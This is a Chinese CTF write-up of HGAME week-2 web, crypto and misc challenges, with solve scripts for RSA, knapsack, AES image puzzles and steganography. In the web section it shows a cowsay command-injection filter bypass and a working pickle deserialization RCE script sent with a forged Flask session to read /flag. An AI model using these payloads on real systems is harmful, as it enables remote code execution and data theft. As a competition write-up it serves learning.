文章目录
- WEB
- What the cow say?
- Select More Courses
- myflask
- Crypto
- midRSA
- midRSA revenge
- backpack
- backpack revenge
- babyRSA
- 奇怪的图片plus
- MISC
- 我要成为华容道高手
- ek1ng_want_girlfriend
- ezWord
- 龙之舞
回老家了,初七晚上才回去,估计week3前几天不怎么能做咯
WEB
What the cow say?
反引号的命令执行,发现出现flag会被ban,cat会被ban,于是用tac,flag用f*
hgame{C0wsay_be_c4re_aB0ut_ComMand_Injecti0n}
Select More Courses
用字典爆破
qwert123
然后给出提示又是学分不够,要去扩学分。然后又是和week1一样搞不懂怎么的莫名就可以选了,不过看week1里面半分钟刷新一次,这次就在扩学分那里一直扩学分和enter按了二十多秒,再到选课界面就选上了。
myflask
import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone
currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")
app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)
@app.route('/')
def index():
session['username'] = 'guest'
return send_file('app.py')
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if not session:
return 'There is no session available in your client :('
if request.method == 'GET':
return 'You are {} now'.format(session['username'])
# For POST requests from admin
if session['username'] == 'admin':
pickle_data=base64.b64decode(request.form.get('pickle_data'))
# Tips: Here try to trigger RCE
userdata=pickle.loads(pickle_data)
return userdata
else:
return 'Access Denied'
if __name__=='__main__':
app.run(debug=True, host="0.0.0.0")
知道key的范围了,搜CTF flask爆破secret_key
https://ctf.org.cn/2019/11/19/flask%E4%B8%ADsession%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B/
找到工具Flask-Unsign
然后由于我自己指定密码本没有成功,去看了一下本子位置,发现需要引号
因此自己手动给密码本添加了一下时间的密码得到key,然后加密的时候要两层引号一起包起来,不知道为啥
改cookie去访问/flag
然后叫GPT帮我写个脚本
import pickle
import base64
from subprocess import check_output
class ExecuteLS:
def __reduce__(self):
# 使用 check_output 来捕获命令的输出
return (check_output, (('cat','/flag'),))
# 创建恶意对象
mal_obj = ExecuteLS()
# 序列化对象
pickle_data = pickle.dumps(mal_obj)
# 编码为 Base64,以便在网络上传输
pickle_data_base64 = base64.b64encode(pickle_data)
print(pickle_data_base64)
# 然后,您可以将这个 base64 编码的字符串发送到服务器
# 假设服务器端的 Flask 视图函数正确处理了反序列化
# 并准备以字符串的形式返回命令的输出
import requests
# 服务器的 URL,例如 http://example.com/vulnerable-endpoint
url = 'http://106.14.57.14:31968/flag'
# 构造 POST 请求的数据
data = {'pickle_data': pickle_data_base64.decode('utf-8')}
# 发送请求
response = requests.post(url, cookies={"session":"eyJ1c2VybmFtZSI6ImFkbWluIn0.ZcSQuA.Bkt3FwfEei1xLjI0gBEb45oLjHQ"},data=data,)
# 打印响应内容,看看是否成功执行了命令
print(response.text)
Crypto
midRSA
注意到m0=m>>208,return flag+b’\xff’*(64-len(flag))
既然说是非预期,猜测低位本身就不包含flag内容,把低位全补0
import libnum
m = 13292147408567087351580732082961640130543313742210409432471625281702327748963274496942276607
m0 = m << 208
print(libnum.n2s(m0))
#hgame{0ther_cas3s_0f_c0ppr3smith}
midRSA revenge
https://lazzzaro.github.io/2020/05/06/crypto-RSA/index.html文中的Coppersmith攻击(已知m的高位攻击)
用sage
#Sage
e = 5
n=27814334728135671995890378154778822687713875269624843122353458059697288888640572922486287556431241786461159513236128914176680497775619694684903498070577307810263677280294114135929708745988406963307279767028969515305895207028282193547356414827419008393701158467818535109517213088920890236300281646288761697842280633285355376389468360033584102258243058885174812018295460196515483819254913183079496947309574392848378504246991546781252139861876509894476420525317251695953355755164789878602945615879965709871975770823484418665634050103852564819575756950047691205355599004786541600213204423145854859214897431430282333052121
c=456221314115867088638207203034494636244706611111621723577848729096069230067958132663018625661447131501758684502639383208332844681939698124459188571813527149772292464139530736717619741704945926075632064072125361516435631121845753186559297993355270779818057702973783391589851159114029310296551701456748698914231344835187917559305440269560613326893204748127999254902102919605370363889581136724164096879573173870280806620454087466970358998654736755257023225078147018537101
mbar=0x6867616d657b633070707233736d6974685f537433726500000000000000000000000000000000L
kbits = 128
beta = 1
nbits = n.nbits()
print("upper {} bits of {} bits is given".format(nbits - kbits, nbits))
PR.<x> = PolynomialRing(Zmod(n))
f = (mbar + x)^e - c
x0 = f.small_roots(X=2^kbits, beta=1)[0] # find root < 2^kbits with factor = n
print("m:", mbar + x0)
#3402789736593180236658155503802934243882633217001276110520820253391839278880462965966606922621
然后n2s即可得到flag为hgame{c0ppr3smith_St3re0typed_m3ssag3s}
backpack
考背包,不过又提示有非预期
注意到assert len(bin(p)[2:])==32,enc=bytes_to_long(flag)^p
我想的是知道p的范围去爆破p然后得到enc,不过又和上一题一样的问题
import libnum
m = 871114172567853490297478570113449366988793760172844644007566824913350088148162949968812541218339
print(libnum.n2s(m))
#hgame{M@ster_0f ba3kpack_m4nag3ment!}
backpack revenge
找脚本,首先找到解背包密码的LLL脚本:https://lazzzaro.github.io/2022/05/26/match-Dest0g3-520%E8%BF%8E%E6%96%B0%E8%B5%9B/
发现没有结果,输出了一下发现确实没有结果。把这个脚本带入到第一道题里面去,却能跑出来,说明脚本没问题
这里就开始考虑其他变形之类的,不懂这块就开搜:https://lazzzaro.github.io/2020/05/13/crypto-%E5%85%B6%E4%BB%96%E5%8A%A0%E5%AF%86%E7%AE%97%E6%B3%95/index.html
Knapsack,里面有解密脚本
#sagemath
from sage.all import *
pk = [74763079510261699126345525979, 51725049470068950810478487507, 47190309269514609005045330671, 64955989640650139818348214927, 68559937238623623619114065917, 72311339170112185401496867001, 70817336064254781640273354039, 70538108826539785774361605309, 43782530942481865621293381023, 58234328186578036291057066237, 68808271265478858570126916949, 61660200470938153836045483887, 63270726981851544620359231307, 42904776486697691669639929229, 41545637201787531637427603339, 74012839055649891397172870891, 56943794795641260674953676827, 51737391902187759188078687453, 49264368999561659986182883907, 60044221237387104054597861973, 63847046350260520761043687817, 62128146699582180779013983561, 65109313423212852647930299981, 66825635869831731092684039351, 67763265147791272083780752327, 61167844083999179669702601647, 55116015927868756859007961943, 52344488518055672082280377551, 52375877891942312320031803919, 69659035941564119291640404791, 52563282085178646767814382889, 56810627312286420494109192029, 49755877799006889063882566549, 43858901672451756754474845193, 67923743615154983291145624523, 51689455514728547423995162637, 67480131151707155672527583321, 59396212248330580072184648071, 63410528875220489799475249207, 48011409288550880229280578149, 62561969260391132956818285937, 44826158664283779410330615971, 70446218759976239947751162051, 56509847379836600033501942537, 50154287971179831355068443153, 49060507116095861174971467149, 54236848294299624632160521071, 64186626428974976108467196869]
ct = 1202548196826013899006527314947
print(ct)
print(len(pk))
n = len(pk)
# Sanity check for application of low density attack
d = n / log(max(pk), 2)
print(CDF(d))
assert CDF(d) < 0.9408
M = Matrix.identity(n) * 2
last_row = [1 for x in pk]
M_last_row = Matrix(ZZ, 1, len(last_row), last_row)
last_col = pk
last_col.append(ct)
M_last_col = Matrix(ZZ, len(last_col), 1, last_col)
M = M.stack(M_last_row)
M = M.augment(M_last_col)
X = M.BKZ()
sol = []
for i in range(n + 1):
testrow = X.row(i).list()[:-1]
if set(testrow).issubset([-1, 1]):
for v in testrow:
if v == 1:
sol.append(0)
elif v == -1:
sol.append(1)
break
s = sol
print(s)
1202548196826013899006527314947
48
0.5004362519031288
[1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 1, 1, 1, 1]
试了一下顺着拼下面输出的结果,为空,那应该是反过来的
print(int("111101000010110101010001010011000111000100100001",2))
#268475474669857
由于过年平台暂停提交flag,只能自己验证一下了
a = [74763079510261699126345525979, 51725049470068950810478487507, 47190309269514609005045330671, 64955989640650139818348214927, 68559937238623623619114065917, 72311339170112185401496867001, 70817336064254781640273354039, 70538108826539785774361605309, 43782530942481865621293381023, 58234328186578036291057066237, 68808271265478858570126916949, 61660200470938153836045483887, 63270726981851544620359231307, 42904776486697691669639929229, 41545637201787531637427603339, 74012839055649891397172870891, 56943794795641260674953676827, 51737391902187759188078687453, 49264368999561659986182883907, 60044221237387104054597861973, 63847046350260520761043687817, 62128146699582180779013983561, 65109313423212852647930299981, 66825635869831731092684039351, 67763265147791272083780752327, 61167844083999179669702601647, 55116015927868756859007961943, 52344488518055672082280377551, 52375877891942312320031803919, 69659035941564119291640404791, 52563282085178646767814382889, 56810627312286420494109192029, 49755877799006889063882566549, 43858901672451756754474845193, 67923743615154983291145624523, 51689455514728547423995162637, 67480131151707155672527583321, 59396212248330580072184648071, 63410528875220489799475249207, 48011409288550880229280578149, 62561969260391132956818285937, 44826158664283779410330615971, 70446218759976239947751162051, 56509847379836600033501942537, 50154287971179831355068443153, 49060507116095861174971467149, 54236848294299624632160521071, 64186626428974976108467196869]
p = 268475474669857
bag=0
for i in a:
temp=p%2
bag+=temp*i
p=p>>1
print(f'a={a}')
print(f'bag={bag}')
好哦
hgame{04b1d0b0fb805a70cda94348ec5a33f900d4fd5e9c45e765161c434fa0a49991}
babyRSA
首先求解e+114514+p**k
p=14213355454944773291
gift=9751789326354522940
e = 0x10001
e_new = pow(gift, pow(e, -1, p-1), p)
print(e_new)
#188075
由于p**k
大于188075,易得e = 188075-114514 = 73561
测试发现e和phi不互素且e为质数,phi是e的倍数。考虑AMM,当然我是不懂的,这里是靠搜搜到的(评论区)https://www.bilibili.com/read/cv13437297/
https://lazzzaro.github.io/2020/05/06/crypto-RSA/index.html
找到AMM有关脚本,依旧是sage
#脚本1
#Sage
e = 73561
p=14213355454944773291
q=61843562051620700386348551175371930486064978441159200765618339743764001033297
c=105002138722466946495936638656038214000043475751639025085255113965088749272461906892586616250264922348192496597986452786281151156436229574065193965422841
for mp in GF(p)(c).nth_root(e, all=True):
for mq in GF(q)(c).nth_root(e, all=True):
m = crt([ZZ(mp), ZZ(mq)], [p, q])
try:
res = bytes.fromhex(hex(m)[2:])
if res.isascii():
print(res)
except:
pass
hgame{Ad1eman_Mand3r_Mi11er_M3th0d}
奇怪的图片plus
在做完华容道之后的那天晚上,对着这道题先是发了一会的呆,一直把server里的check_pixels函数搞错了,我在想为什么xy又要等于黑色又不等于黑色
在第4天的下午,刷完一个两小时的沙雕动画之后,寻思来看会题,一下就解决了之前那个问题,也找到了解题的关键点
和week的图片一样,考点貌似并不是crypto哦,怎么不移到misc里
题目给了三个python文件和两个图片文件。其中encryption.py
是flag.png加密的文件
而server.py
和client.py
是与服务器交互用的
简单看一下client.py
和server.py
的作用
import websocket
import re
from PIL import Image
import struct
import threading
def image_to_bytes(image):
width, height = image.size
pixel_bytes = []
for y in range(height):
for x in range(width):
pixel = image.getpixel((x, y))
pixel_bytes.extend(struct.pack('BBB', *pixel))
image_bytes = bytes(pixel_bytes)
return image_bytes
def handle_input(ws):
try:
while True:
message = input()
if message.lower() == 'exit':
ws.close()
break
elif message.lower() == 'help':
print("send_img: send_img <path_to_img_1> <path_to_img_2>")
print("check: check")
print("help: help")
print("exit: exit")
elif message[:8] == 'send_img':
try:
pattern = re.compile(r'\s(.*?)\s(.*?)$')
match = pattern.search(message)
if match:
path_1 = match.group(1)
path_2 = match.group(2)
image_1 = Image.open(path_1)
image_2 = Image.open(path_2)
ws.send_binary(b"B1" + image_1.width.to_bytes(4, "big") + image_1.height.to_bytes(4, "big") + image_to_bytes(image_1))
ws.send_binary(b"B2" + image_2.width.to_bytes(4, "big") + image_2.height.to_bytes(4, "big") + image_to_bytes(image_2))
else:
raise FileNotFoundError("Command format error")
except FileNotFoundError as err:
print(err)
elif message == 'check':
ws.send_binary(b"B3")
except websocket.WebSocketException as err:
print(err)
def handle_recv(ws):
try:
while True:
msg = ws.recv()
print("Msg from server: {}".format(msg))
except websocket.WebSocketException as err:
print(err)
def main():
# uri = "ws://localhost:10002"
uri = input("input uri: ")
print("type 'help' to get help")
ws = websocket.create_connection(uri)
input_thread = threading.Thread(target=handle_input, args=(ws,), daemon=True)
recv_thread = threading.Thread(target=handle_recv, args=(ws,), daemon=True)
recv_thread.start()
input_thread.start()
recv_thread.join()
input_thread.join()
if __name__ == "__main__":
main()
能够注意到client.py
是用于连接至服务器并发送图片进行验证的,主要内容并不在这里,看server.py
import asyncio
import os
import websockets
from PIL import Image
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
gift = b''.hex() # hide here
pos_list = [] # hide here
def bytes_to_image(image_bytes, width, height):
pixel_bytes = list(image_bytes)
reconstructed_image = Image.new('RGB', (width, height))
for y in range(height):
for x in range(width):
start = (y * width + x) * 3
pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
reconstructed_image.putpixel((x, y), pixel)
return reconstructed_image
def xor_images(image1, image2):
if image1.size != image2.size:
raise ValueError("Images must have the same dimensions")
xor_image = Image.new("RGB", image1.size)
pixels1 = image1.load()
pixels2 = image2.load()
xor_pixels = xor_image.load()
for x in range(image1.size[0]):
for y in range(image1.size[1]):
r1, g1, b1 = pixels1[x, y]
r2, g2, b2 = pixels2[x, y]
xor_pixels[x, y] = (r1 ^ r2, g1 ^ g2, b1 ^ b2)
return xor_image
def check_pixels(image, positions):
pixels = image.load()
count = 0
for x in range(image.size[0]):
for y in range(image.size[1]):
if (x, y) in positions:
if pixels[x, y] != (0, 0, 0):
return False
else:
if pixels[x, y] == (0, 0, 0):
count += 1
if count == 10:
return False
return True
async def handle_client(websocket):
await websocket.send("Pls send two images that meet the following conditions")
await websocket.send("The black pixels in 'xor_images(image_1, image_2)' should match those in 'target'")
await websocket.send("Note: The server has scaling function during validation! XD")
image_1, image_2 = None, None
image_1_w, image_1_h, image_2_w, image_2_h = 0, 0, 0, 0
async for message_raw in websocket:
try:
if message_raw[:2] == b"B1":
image_1_w = int.from_bytes(message_raw[2:6], "big")
image_1_h = int.from_bytes(message_raw[6:10], "big")
image_1 = message_raw[6:]
await websocket.send("Image_1 received")
elif message_raw[:2] == b"B2":
image_2_w = int.from_bytes(message_raw[2:6], "big")
image_2_h = int.from_bytes(message_raw[6:10], "big")
image_2 = message_raw[6:]
await websocket.send("Image_2 received")
elif message_raw[:2] == b"B3":
if image_1 and image_2:
F = AES.new(key=os.urandom(16), mode=AES.MODE_ECB)
image_1_encrypted = bytes_to_image(F.encrypt(pad(image_1, F.block_size)), image_1_w, image_1_h)
image_2_encrypted = bytes_to_image(F.encrypt(pad(image_2, F.block_size)), image_2_w, image_2_h)
xor_image = xor_images(image_1_encrypted, image_2_encrypted)
xor_image = xor_image.resize((16, 9), Image.NEAREST)
xor_image.show()
if check_pixels(xor_image, pos_list):
await websocket.send("Here is your gift: {}".format(gift))
else:
await websocket.send("Verification failed")
else:
await websocket.send("Pls send two images first!!")
except ValueError as err:
await websocket.send(err)
async def main():
server = await websockets.serve(handle_client, "localhost", 10002)
await server.wait_closed()
asyncio.run(main())
直接看与解题有关的handle_client()
函数
接受传入的两张图片的像素值的bytes(在client.py
的image_to_bytes
中),然后通过AES_ECB的方式对bytes进行加密,再把两组加密后的bytes恢复成图片,对恢复的两张图片进行异或操作之后,采用近邻法的方式缩小图片为(16,9)得到。然后与target.png图片进行比对
要求是:
target.png为黑色的部分,xor_image的此处也必须为黑色
target.png为白色的部分,xor_image的此处只要不是黑色即可,容错次数是9次。
一直没注意到xor_image = xor_image.resize((16, 9), Image.NEAREST)
采用的是NEAREST既然是近邻法那就好说多了,简单来说
不过横线部分在这张图里就算是相同的也没关系,因为在近邻之后得到的图依旧是取点(3,3),与其他值无关。但如果这张图从5,5–>3,3的话,在其他部分就也需要控制好取值来满足这个条件了。
那么现在,就是生成两张部分数据相同(满足近邻后值相同)其他部分随机的图片
测试的时候发现,每组的第16位会影响上一组加密的值,所以写脚本的时候要注意这一点
结果调了差不多一个小时,就是不对,刚回过去看代码,发现呃好像有点不对劲,server.py
中
image1和image2:message_raw[6:]
为啥是6:。。。
这意味着前面是多出来8个字节的,当时根本没注意到这个。总归不够细心+菜
from PIL import Image
import struct
import os
def bytes_to_image(image_bytes, width, height):
pixel_bytes = list(image_bytes)
reconstructed_image = Image.new('RGB', (width, height))
for y in range(height):
for x in range(width):
start = (y * width + x) * 3
pixel = struct.unpack('BBB', bytes(pixel_bytes[start:start + 3]))
reconstructed_image.putpixel((x, y), pixel)
return reconstructed_image
def image_to_bytes(image):
width, height = image.size
pixel_bytes = []
for y in range(height):
for x in range(width):
pixel = image.getpixel((x, y))
pixel_bytes.extend(struct.pack('BBB', *pixel))
image_bytes = bytes(pixel_bytes)
return image_bytes
pic1 = Image.new("RGB",(400,225),(255,255,255))
# pic1.save("xor1.png")
pic1_bytes = image_to_bytes(pic1)
array = []
array.append(pic1_bytes[:12])
for i in range(12,len(pic1_bytes), 16):
array.append(pic1_bytes[i:i+16])
target = Image.open("target.png")
w,h = target.size
pos_list = []
for i in range(h):
for j in range(w):
if(target.getpixel((j,i)) == (0,0,0)):
pos_list.append((12+j*25,12+i*25))
print(pos_list)
xor_same_data = b"\x6d\x75\x6d\x75\x7a\x69\x5f\x6d\x75\x6d\x75\x7a\x69\x5f\x6d\x75"
for pos in pos_list:
pixel1 = (400*pos[1] + pos[0])*3
pixel2 = (400*pos[1] + pos[0])*3+2
pixel1_ind = (pixel1)//16
pixel2_ind = (pixel2)//16
if(pixel1_ind != pixel2_ind):
array[pixel1_ind] = xor_same_data
array[pixel2_ind] = xor_same_data
else:
array[pixel1_ind] = xor_same_data
pic1_array = array.copy()
pic2_array = array.copy()
pic1_array[0] = os.urandom(12)
pic2_array[0] = os.urandom(12)
pic1_array[-1] = os.urandom(len(pic1_array[-1]))
pic2_array[-1] = os.urandom(len(pic2_array[-1]))
for ar in range(1,len(pic1_array)-1):
if(pic1_array[ar] != xor_same_data):
pic1_array[ar] = os.urandom(16)
for ar in range(1,len(pic2_array)-1):
if(pic2_array[ar] != xor_same_data):
pic2_array[ar] = os.urandom(16)
pic1_array = b"".join(pic1_array)
pic2_array = b"".join(pic2_array)
print(len(pic1_array),len(pic2_array))
xor_pic1 = bytes_to_image(pic1_array,400,225)
xor_pic2 = bytes_to_image(pic2_array,400,225)
xor_pic1.save("xor_pic1.png")
xor_pic2.save("xor_pic2.png")
8693346e81fa05d8817fd2550455cdf6
接着去看encryption.py
发现就是用key和iv加密了flag,用的是OFB模式,这里倒是涉及到了密码的知识
搜了一下
既然已知背景是黑色的,则值为\x00.密文已知、key已知,可以恢复出第一组的值。但是第一组是什么呢?
由于ECB模式是直接进行加密操作,而OFB模式可以从图上看出还进行了一次异或操作
不过由于明文密文已知,这两异或之后得到的其实就是ECB的密文,则可以通过ECB解出iv
ee204de4050ad441ef778b2d2156198f6d
直接把encryption脚本改一下:
# flag = "hgame{fake_flag}"
# flag_image = Image.new("RGB", (200, 150), "black")
flag_image = Image.open("encrypted_flag.png")
key = b'\x86\x93\x34\x6e\x81\xfa\x05\xd8\x81\x7f\xd2\x55\x04\x55\xcd\xf6'
iv = b'\xee\x20\x4d\xe4\x05\x0a\xd4\x41\xef\x77\x8b\x2d\x21\x56\x19\x8f'
F = AES.new(key=key, mode=AES.MODE_OFB, iv=iv)
s = image_to_bytes(flag_image)
print(s[:32].hex())
m = pad(image_to_bytes(flag_image), F.block_size)
c = F.decrypt(m)
encrypted_image = bytes_to_image(c, 200, 150)
encrypted_image.show()
hgame{1ad4_80cc_1fb2_be7c}
MISC
我要成为华容道高手
这题被hackbar搞了,找传参找了两个小时,早就早到了不过hackbar一直传过去都显示invalid,换bp才好的
注意到点击开始的时候访问/api/newgame,翻唯一的js文件找到,顺便往下找到传参
fetch('/api/submit/' + this.gameId, {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(steps)
}).then(function (res) {
return res.json();
}).then(function (data) {
switch (data.status) {
case "next":
_this2.layout = data.game_stage.layout;
break;
case "win":
alert(data.flag);
break;
case "lose":
alert(data.msg);
break;
default:
alert(data.status);
}
return 1;
});
接着继续找steps
methods: {
handleMove: function handleMove(direction, position) {
var nextState = false;
switch (direction) {
case 1:
nextState = _core2.default.moveUp(this.state, position);
break;
case 2:
nextState = _core2.default.moveRight(this.state, position);
break;
case 3:
nextState = _core2.default.moveDown(this.state, position);
break;
case 4:
nextState = _core2.default.moveLeft(this.state, position);
break;
}
if (nextState) {
this.stepCount++; // 增加步骤计数
this.steps.push({ // 保存当前步骤状态
position: position,
direction: direction
});
this.state = nextState;
if (this.success) {
this.$emit("success", this.steps);
this.steps = [];
}
}
}
得到传参内容为[{"position":n,"direction":m}]
手动用bp传一下发现是合理的
然后不仅游戏timeout了,我靶机也timeout了
接着去github上找一个项目,我找的是Klotski_Puzzle_Solver
看了下他的main,里面用了A星算法和DFS
刚开始改的脚本把DFS给注释掉了,结果一直过不了,后来搜了一下发现A星慢的很
于是这个项目把A星的部分注释掉
然后写个脚本即可,他是要10秒内玩10轮,我一直以为是每轮10秒呢
import requests
import json
import subprocess
import time
def Getgame(url):
newgame = '/api/newgame'
getgame = requests.get(url=url + newgame).text
data = json.loads(getgame)
gameId, layout = data["gameId"], data["layout"]
return gameId,layout
def Submit(url,gameId,msg):
headers = {
'Pragma': 'no-cache',
'Cache-Control': 'no-cache',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36',
'Origin': url,
'Content-Type': 'application/json',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8',
'Connection': 'close',
}
submit = f'/api/submit/{gameId}'
response = requests.post(url=url + submit, json=msg, headers=headers)
return response.text
def solves(layout):
layout = list(layout)
after_layout = ['0']*20
count = 2
for i in range(len(layout)):
if(layout[i] == '2'):
after_layout[i] = '7'
elif(layout[i] == '3'):
after_layout[i] = str(count)
after_layout[i+4] = str(count)
count += 1
elif(layout[i] == '4'):
after_layout[i] = str(count)
after_layout[i+1] = str(count)
count += 1
elif(layout[i] == '5'):
after_layout[i] = '1'
after_layout[i+1] = '1'
after_layout[i+4] = '1'
after_layout[i+5] = '1'
after_layout = ''.join(after_layout)
out = '\n'.join([after_layout[i:i + 4] for i in range(0, len(after_layout), 4)])
f = open('puzzle.txt','w').write(out)
st = time.time()
command = ['python3', 'main.py', 'puzzle.txt', '1.txt', '2.txt']
subprocess.run(command, capture_output=True, text=True)
et = time.time()
print(et - st)
fans = open('1.txt','r').readlines()[1:]
fans = ''.join(fans).split('\n\n')
fans = [s.replace('\n', '') for s in fans][:-1]
# print(fans)
data = []
for i in range(len(fans)-1):
first = fans[i]
next = fans[i+1]
dif = []
BIG,hor = False,False
c = 0
for j in range(20):
if(first[j] == next[j]):
pass
else:
dif.append(j)
if(c == 0):
if(int(first[j]) > int(next[j])):
BIG = True
if(first[j] == '2' or next[j] == '2'):
hor = True
c += 114514
if(len(dif) == 2 and dif[1] - dif[0] == 8):
if(BIG):
data.append({"position": dif[0], "direction": 3})
else:
data.append({"position": dif[1]-4, "direction": 1})
elif(len(dif) == 2 and dif[1] - dif[0] == 4):
if(BIG):
data.append({"position": dif[0], "direction": 3})
else:
data.append({"position": dif[1], "direction": 1})
elif(len(dif) == 2 and dif[1] - dif[0] == 2):
if(BIG):
data.append({"position": dif[0], "direction": 2})
else:
data.append({"position": dif[1]-1, "direction": 4})
elif(len(dif) == 2 and dif[1] - dif[0] == 1):
if(BIG):
data.append({"position": dif[0], "direction": 2})
else:
data.append({"position": dif[1], "direction": 4})
elif(len(dif) == 4 and dif[1] - dif[0] == 2):
if(BIG):
data.append({"position": dif[0], "direction": 2})
else:
data.append({"position": dif[1]-1, "direction": 4})
elif(len(dif) == 4 and (dif[1] - dif[0] == 1 and dif[2] - dif[0] == 8)):
if(BIG):
data.append({"position": dif[0], "direction": 3})
else:
data.append({"position": dif[0]+4, "direction": 1})
elif (len(dif) == 4 and (dif[1] - dif[0] == 1 and dif[2] - dif[0] == 4)):
if (BIG):
if(hor):
data.append({"position": dif[0], "direction": 3})
else:
data.append({"position": dif[0], "direction": 2})
else:
if(hor):
data.append({"position": dif[2], "direction": 1})
else:
data.append({"position": dif[1], "direction": 4})
# print(data)
return data
if __name__ == "__main__":
while True:
try:
url = "http://47.100.137.175:31139"
gameId, layout = Getgame(url)
print(gameId,layout)
answer = solves(layout)
for i in range(100):
data = Submit(url,gameId,answer)
if('hgame' in str(data) or "flag" in str(data)):
print(data)
exit()
data = json.loads(data)
print(data)
layout = data["game_stage"]["layout"]
answer = solves(layout)
except:
pass
ek1ng_want_girlfriend
导出对象—HTTP,看图片
ezWord
由于重装了电脑,做的时候发现cv2报错出问题了,赶紧当场安了一个pip3 install opencv-python install "opencv-python-headless<4.3"
hhh
docx改zip解压,找到word\media,里面提示双图隐写作为压缩包密码,压缩包需要解两层
用BlindWaterMark,python3的
得到key为T1hi3sI4sKey
做过的都知道这是垃圾邮件编码的,没做过的小伙伴可以把第一行拿到google去搜即可
https://spammimic.com/
得到籱籰籪籶籮粄簹籴籨粂籸籾籨籼簹籵籿籮籨籪籵簺籨籽籱簼籨籼籮籬类簼籽粆
盲猜unicode encode之后的hex直接转
猜对了一半,转后面的字节
开头6个和hgame{
做异或和加减的时候,发现差为9
s1 = '71 70 6a 76 6e 84 39 74 68 82 78 7e 68 7c 39 75 7f 6e 68 6a 75 3a 68 7d 71 3c 68 7c 6e 6c 7b 3c 7d 86'.split()
s2 = 'hgame{'
for i in range(len(s1)):
print(chr(int(s1[i],16)-9),end='')
#hgame{0k_you_s0lve_al1_th3_secr3t}
龙之舞
这题又浪费了差不多二三十分钟,啧
频谱开头不对劲,调一下最高的频率
上下翻转
5H8w1nlWCX3hQLG
题目提示deepsound
解出来龙之舞.gif,用gifFrame分离一下每一帧
发现52,120,152,231各有二维码的一角
手动用画图拼接
直接扫扫不出来
试一下改掩码,目前是Q1
改到Q4发现出了一部分
然后改到M4获得完整的flag
hgame{drag0n_1s_d4nc1ng}